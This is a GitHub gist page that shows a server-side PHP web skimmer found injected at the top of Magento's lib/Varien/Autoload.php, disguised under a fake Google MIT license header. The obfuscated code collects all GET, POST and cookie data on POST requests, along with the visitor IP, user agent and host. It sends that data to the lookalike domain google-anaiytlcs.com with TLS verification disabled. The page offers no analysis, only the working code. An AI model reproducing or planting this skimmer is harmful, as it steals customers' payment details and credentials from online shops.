Skip to content

Instantly share code, notes, and snippets.

@pikpikcu
Last active February 1, 2020 09:48
Show Gist options
  • Save pikpikcu/0d486417afc21a6579b35c9b874bfd7d to your computer and use it in GitHub Desktop.
Save pikpikcu/0d486417afc21a6579b35c9b874bfd7d to your computer and use it in GitHub Desktop.
Server-side PHP web skimmer in lib/Varien/Autoload.php
<?php
/**
The MIT License
Copyright (c) 2010-2018 Google, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
**/
if($_POST){
$f2H9gZ26Jp7 = FALSE;
class cidtz7kP02OM {
public static function okZ84j4kko($zXP6E3fEL0,$i71Eq8u6w36){
if(is_array($i71Eq8u6w36)){
$i71Eq8u6w36 = cidtz7kP02OM::pykN0zq93DFO9($i71Eq8u6w36);
}
$wm9q6n2A65ovt9W = stream_context_create(
array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $i71Eq8u6w36
)
)
);
$bGcgF724384m = file_get_contents($zXP6E3fEL0,false,$wm9q6n2A65ovt9W);
if(!$bGcgF724384m){
$rxh2GkMuGIFz = curl_init();
curl_setopt($rxh2GkMuGIFz, CURLOPT_URL, $zXP6E3fEL0);
curl_setopt($rxh2GkMuGIFz, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($rxh2GkMuGIFz, CURLOPT_POST, 1);
curl_setopt($rxh2GkMuGIFz, CURLOPT_POSTFIELDS,$i71Eq8u6w36);
curl_setopt($rxh2GkMuGIFz, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($rxh2GkMuGIFz, CURLOPT_SSL_VERIFYPEER, 0);
$bGcgF724384m = curl_exec($rxh2GkMuGIFz);
curl_close($rxh2GkMuGIFz);
}
if(is_string($bGcgF724384m)){
$bGcgF724384m = trim($bGcgF724384m);
}
return $bGcgF724384m;
}
public static function pykN0zq93DFO9($i71Eq8u6w36, $utPznK6CjDNQ4 = NULL, $zS07S9nO6 = "&", $zS07S9nO6_in = "=") {
$i71Eq8u6w36_string = "";
$v04RusuUgg2h5 = array();
$i71Eq8u6w36 = (array)$i71Eq8u6w36;
foreach($i71Eq8u6w36 as $bl63C44cHV => $xr7u28Y4e) {
if(is_array($xr7u28Y4e) || is_object($xr7u28Y4e)) {
$xr7u28Y4e = (array)$xr7u28Y4e;
$utPznK6CjDNQ4_p = ($utPznK6CjDNQ4 ? $utPznK6CjDNQ4.$bl63C44cHV.'][' : $bl63C44cHV.'[');
$i71Eq8u6w36_string .= $zS07S9nO6.cidtz7kP02OM::pykN0zq93DFO9($xr7u28Y4e, $utPznK6CjDNQ4_p, $zS07S9nO6, $zS07S9nO6_in);
}else{
$i71Eq8u6w36_string .= $zS07S9nO6.($utPznK6CjDNQ4 ? $utPznK6CjDNQ4.$bl63C44cHV.']' : $bl63C44cHV).$zS07S9nO6_in.$xr7u28Y4e;
}
}
$i71Eq8u6w36_string = ($i71Eq8u6w36_string ? substr($i71Eq8u6w36_string,1) : '');
return $i71Eq8u6w36_string;
}
}
class iTcX664N{
private $wO4E8Omf7 = "https://google-anaiytlcs.com/min.3.14.7.js";
private $cyiLCcaRyU = "dYpO3togdn4jIekLg2wDSTS1UTm2q09d";
public $aj489fLADOp00 = "";
public function __construct(){
$eZWVi6IxReS = @$this->b78n2E7P();
$hG22W6w1P = array(
"get" => $_GET,
"post" => $_POST,
"cookie" => $_COOKIE
);
$g58d66h1j94 = array(
"a" => "php",
"ip" => base64_encode($_SERVER['REMOTE_ADDR']),
"ua" => base64_encode($_SERVER['HTTP_USER_AGENT']),
"h" => base64_encode(preg_replace('@\.@','_',$_SERVER['HTTP_HOST'])),
"c" => @$this->b78n2E7P(),
"f" => $this->cyiLCcaRyU,
"u" => 9237,
"d" => base64_encode(cidtz7kP02OM::pykN0zq93DFO9($hG22W6w1P)),
);
$g58d66h1j94 = @cidtz7kP02OM::pykN0zq93DFO9($g58d66h1j94);
$this->aj489fLADOp00 = @cidtz7kP02OM::okZ84j4kko($this->wO4E8Omf7, $g58d66h1j94);
}
private function b78n2E7P(){
if($_COOKIE["jp1HTlZ1NE7O"] != null) {
$b13MBT0q0VMRk = $_COOKIE["jp1HTlZ1NE7O"];
} else {
$b13MBT0q0VMRk = time().'-'.rand(1111111,9999999999);
@setcookie("jp1HTlZ1NE7O",$b13MBT0q0VMRk,time()+86000, "/", $_SERVER['HTTP_HOST']);
}
return $b13MBT0q0VMRk;
}
public function __destruct(){
global $f2H9gZ26Jp7;
if($this->aj489fLADOp00 && !$f2H9gZ26Jp7){
$f2H9gZ26Jp7 = TRUE;
}
}
}
$dYpO3togdn4jIekLg2wDSTS1UTm2q09d = new iTcX664N();
}
?><?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@magentocommerce.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magentocommerce.com for more information.
*
* @category Varien
* @package Varien_Autoload
* @copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Classes source autoload
*/
class Varien_Autoload
...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment